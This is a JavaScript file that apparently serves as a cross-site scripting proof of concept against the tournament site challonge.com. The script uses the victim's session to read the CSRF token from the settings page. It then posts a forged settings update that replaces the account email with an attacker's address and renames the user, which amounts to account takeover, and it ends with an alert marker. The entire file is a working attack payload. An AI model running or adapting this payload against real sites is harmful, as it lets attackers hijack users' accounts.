function reqListener () {
  token=this.responseText.match(/<input type="hidden" name="authenticity_token" value="[a-zA-Z0-9\+\=\/]*/g).join().split('"');
  console.log(token[5]);

          var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/challonge.com\/settings", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------8778529241429943841964468826");
        xhr.withCredentials = true;
        var body = "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"utf8\"\r\n" + 
          "\r\n" + 
          "\xe2\x9c\x93\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"_method\"\r\n" + 
          "\r\n" + 
          "put\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"authenticity_token\"\r\n" + 
          "\r\n" + 
          token[5]+"\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email]\"\r\n" + 
          "\r\n" + 
          "logitech4-ma4x@yopmail.com\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[username]\"\r\n" + 
          "\r\n" + 
          "attacker40422222\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[full_name]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[locale]\"\r\n" + 
          "\r\n" + 
          "en\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[time_zone]\"\r\n" + 
          "\r\n" + 
          "Africa/Cairo\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[country]\"\r\n" + 
          "\r\n" + 
          "EG\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[image]\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email_pms]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email_pms]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email_notifications]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email_notifications]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[mark_read_emailed_messages]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[allow_marketing_emails]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[allow_marketing_emails]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"commit\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "-----------------------------8778529241429943841964468826--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
        console.log(token);
        alert(1111111);
}

var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "https://challonge.com/settings/edit");
oReq.withCredentials = true;
oReq.send();